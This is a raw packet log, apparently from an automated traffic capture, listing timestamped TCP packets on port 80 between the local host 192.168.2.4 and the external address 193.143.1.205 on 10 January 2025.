Jan 10, 2025 17:46:45.485479116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485522032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485544920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485591888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485603094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485639095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485645056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485688925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485831976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485903025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485913992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485954046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485954046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485966921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486007929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.486207008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486247063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486257076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486260891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.486304045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.486411095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486422062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486430883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486440897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486453056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486464977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.486475945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486486912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486494064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.486520052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.486937046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486979008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486989021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.486990929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.487010002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487030983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.487106085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487117052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487127066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487159014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.487196922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.487226009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487236023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487247944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487257957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.487279892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.487328053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.488100052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.488109112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.488116026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.488157034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.488167048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.488208055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.488220930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.488245010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.488291025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.530774117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530791998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530811071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530821085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530832052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530843019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530853033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530865908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.530937910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.530982971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.569839954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569871902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569883108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569895029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569917917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569930077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569948912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569961071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569972038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.569983006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.569986105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570029020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570040941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570051908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570065022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570066929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570095062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570108891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570123911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570149899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570163012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570197105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570204020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570255995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570271969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570283890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570293903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570306063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570321083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570359945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570386887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570406914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570420027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570455074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570487022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570504904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570538044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570547104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570550919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570585012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570617914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570630074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570645094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570693016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570736885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.570753098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570764065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570775032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.570801020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.611422062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611475945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611489058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611500978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611521006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611540079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611551046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611561060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611567020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611573935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611588955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611586094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.611676931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611687899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611696005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.611726046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611726046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.611738920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611752033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611763000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611804008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.611831903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611845016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611905098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.611916065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611927986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611938953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.611958981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612047911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612060070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612071991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612092972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612124920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612131119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612138033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612149954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612162113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612174988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612217903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612221956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612234116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612245083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612257957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612272978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612291098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612304926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612338066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612381935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612411976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612423897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612435102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612446070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612457037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612529039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612555981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612569094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612581015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612592936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612600088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612654924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612657070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612668991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612709999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612728119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612740993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612752914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612776995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612854004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612867117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612879038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612890959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612904072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612947941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612960100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.612960100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.612992048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613019943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613034010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613075018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613151073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613162994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613174915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613188028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613209009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613235950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613289118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613300085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613312960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613323927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613337040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613342047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613349915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613363981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613398075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613442898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613460064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613471031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613498926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613506079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613513947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613557100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.613575935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613589048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.613625050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.617463112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617532015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617542028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617552042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617564917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617584944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617598057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.617600918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.617646933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.618454933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.656568050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.656702042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.656889915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.656908035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.656920910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.656933069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.656968117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.656979084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.656980038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657002926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657012939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657022953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657025099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657035112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657054901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657056093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657068014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657078981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657092094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657100916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657103062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657114983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657126904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657140970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657159090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657160997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657171965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657182932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657190084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657223940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657330036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657341957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657354116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657367945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657371998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657387972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657397985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657401085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657413960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657438993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657478094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657510042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657522917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657535076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657568932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657602072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657614946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657627106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657645941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657645941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657695055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657780886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657793045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657805920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657818079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657828093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657830954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657844067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657855988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.657875061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.657896042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.659704924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698308945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698348045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698359966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698373079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698386908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698405981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698417902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698430061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698441029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698460102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698472977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698482990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698497057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698498011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698539019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698556900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698570967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698584080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698609114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698636055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698725939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698739052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698750973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698769093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698781967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698793888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698807001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698807955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698821068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698834896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698852062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698873043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698879004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698893070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698925972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.698956013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698967934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698981047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.698993921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699002028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699039936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699045897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699079037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699090958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699131012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699142933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699161053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699173927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699234962 CET	49730	80	192.168.2.4	193.143.1.205
